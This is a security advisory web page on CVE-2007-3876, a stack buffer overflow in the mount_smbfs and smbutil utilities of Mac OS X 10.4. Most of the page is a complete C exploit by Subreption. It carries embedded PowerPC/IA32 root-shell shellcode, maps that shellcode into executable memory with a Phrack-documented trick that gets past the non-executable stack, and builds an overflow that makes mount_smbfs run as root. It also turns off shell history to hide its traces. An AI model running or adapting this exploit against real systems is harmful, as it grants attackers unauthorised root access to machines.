Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil) 20 Dec. 2007    Summary A stack buffer overflow issue exists in the code used by the mount_smbfs and smbutil applications to parse command line arguments, which may allow a local user to cause arbitrary code execution with system privileges.   Credit: The information has been provided by Subreption. The original article can be found at: http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/ Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Mac OS X version 10.4.11 Immune Systems:  * Mac OS X version 10.5 or newer CVE Information: CVE-2007-3876 Exploit: /*  * Copyright (C) 2007-2008 Subreption LLC. All rights reserved.  * Visit http://blog.subreption.com for exploit development notes.  *  * References:  * CVE-2007-3876  * http://docs.info.apple.com/article.html?artnum=307179  * http://seclists.org/fulldisclosure/2007/Dec/0445.html  * http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633  * http://phrack.org/issues.html?issue=64&id=11#article  * BID: http://www.securityfocus.com/bid/26926  *  *  * Notes:  * We bypass non-executable stack via shared_region_map_file_np(), as  * documented in a Phrack 64 article by nemo. This technique has been  * restricted in Leopard, but works perfectly in Tiger. Originally we  * developed a Ruby exploit but given the reliable nature of nemo's  * approach, we decided a C port would be the best option.  *  * Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root  * Version: 1.0 (+tiger_x86)  *  * Distributed under the terms of the Subreption Open Source License v1.0  * http://static.subreption.com/public/documents/subreption-sosl-1.0.txt  */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/types.h> #include <mach/vm_prot.h> #include <mach/i386/vm_types.h> #include <mach/shared_memory_server.h> #include <string.h> #include <unistd.h> #define BASE_ADDR 0x9ffff000 #define PADDING_SIZE 1040 #define PAYLOAD_SIZE PADDING_SIZE + 24 /* From osfmk/mach/i386/vm_param.h */ #define I386_PGBYTES 4096 #define I386_PGSHIFT 12 #define PAGE_SIZE I386_PGBYTES #define PAGE_SHIFT I386_PGSHIFT struct _shared_region_mapping_np {     mach_vm_address_t address;     mach_vm_size_t size;     mach_vm_offset_t file_offset;     vm_prot_t max_prot;     vm_prot_t init_prot; }; struct x86_target {     char ebx[4];     char esi[4];     char edi[4];     char ebp[4];     char eip[4];     char saved_eip[4];     char extra_arg[4]; }; static int force_exploit = 0; /* Dual PowerPC + IA32 shellcode by nemo and b-r00t.  * seteuid(0) + setuid(0) + execve()  */ static char dual_shellcode[] = "\x5f\x90\xeb\x60\x38\x00\x00\xb7\x38\x60\x00\x00\x44\x00\x00\x02" "\x38\x00\x00\x17\x38\x60\x00\x00\x44\x00\x00\x02\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70\x39\x40\x01\x70" "\x39\x1f\xfe\xcf\x7c\xa8\x29\xae\x38\x7f\xfe\xc8\x90\x61\xff\xf8" "\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68\x58\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd\x80\x31\xc0\x50" "\xb0\x17\x6a\x7f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80"; /* Unless we are forcing the exploit, exit the process */ void cond_exit(int exitcode) {     if (!force_exploit)         exit(exitcode); } /* map_shellcode(void) - returns a return address as unsigned long  * The returned address points to our shellcode, mapped from a temporary file on disk.  * Most of this code is based on nemo's original example in his Phrack 64 article.  * If the mapping exists, it will fail and require -f flag to be used for avoiding  * the exit() calls.  */ unsigned long map_shellcode(void) {     int fd = -1;     unsigned long shellcodeaddr = 0x0;     struct _shared_region_mapping_np shmreg;     char tmpbuf[PAGE_SIZE];     char *tmpfname;     void *scptr = NULL;     memset(tmpbuf, 0x90, sizeof(tmpbuf));     scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode));     shmreg.address = BASE_ADDR;     shmreg.size = PAGE_SIZE;     shmreg.file_offset = 0;     shmreg.max_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;     shmreg.init_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;     tmpfname = "/tmp/iChat.sock";     if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) {         perror("open");         cond_exit(EXIT_FAILURE);     }     memcpy(scptr, dual_shellcode, sizeof(dual_shellcode));     if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) {         perror("write");         close(fd);         cond_exit(EXIT_FAILURE);     }     if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) == -1) {         perror("shared_region_map_file_np");         close(fd);         if (unlink(tmpfname) == -1)             perror("unlink");         cond_exit(EXIT_FAILURE);     }     if (close(fd) == -1)         perror("close");     if (unlink(tmpfname) == -1)         perror("unlink");     shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE - sizeof(dual_shellcode));     fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode at %x\n",             (unsigned)shmreg.address, (unsigned)shellcodeaddr);     return shellcodeaddr; } int main(int argc, char *argv[]) {     struct x86_target payload_template;     unsigned long retaddr = 0x0;     char payload[PAYLOAD_SIZE];     void *curptr = NULL;     char *vuln_argv[] = {         "mount_smbfs",         "-W",         "PLACEHOLDER",         0     };     char *vuln_envp[] = {         "HISTFILE=/dev/null",         "TERM=xterm-color",         "PATH=/bin:/sbin:/usr/bin:/usr/sbin",         "HISTSIZE=1",         0     };     fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit\n"             "Copyright (c) 2007-2008 Subreption LLC. All rights reserved.\n");     if (argc > 1) {         if (!strcmp(argv[1], "-f"))             force_exploit = 1;     }          retaddr = map_shellcode();     fprintf(stdout, "Payload size: %u (%u padding bytes), Return address: 0x%x\n",             (unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr);     memset(&payload_template, 0, sizeof(payload_template));     // Copy the correct addresses to the payload_template structure     memcpy(payload_template.ebx, "\xfe\xca\xfe\xca", 4); // ebx = 0xcafecafe     memcpy(payload_template.esi, "\xdd\xce\xfa\xde", 4); // esi = 0xdefacedd     memcpy(payload_template.edi, "\xce\xfa\xed\xfe", 4); // edi = 0xfeedface     memcpy(payload_template.ebp, "\xef\xfe\xad\xde", 4); // ebp = 0xdeadbeef     memcpy(payload_template.eip, &retaddr, 4); // eip = retaddr     memcpy(payload_template.saved_eip, "\xd0\x02\x01\x90", 4); // saved eip = exit()     memcpy(payload_template.extra_arg, "\xfd\xf8\xff\xbf", 4); // extra arg = 0xbffff8fd     // Fill the payload with the initial padding     curptr = (void *)payload;     memset(curptr, 0x41, PADDING_SIZE);     // Copy the payload_template structure to our payload buffer     curptr = payload + PADDING_SIZE;     memcpy(curptr, &payload_template, sizeof(payload_template));     // Set the value to the -W option to point at our payload     vuln_argv[2] = (char *)payload;     if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) {         perror("execve");         exit(EXIT_FAILURE);     }     return 0; } // milw0rm.com [2007-12-19]  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®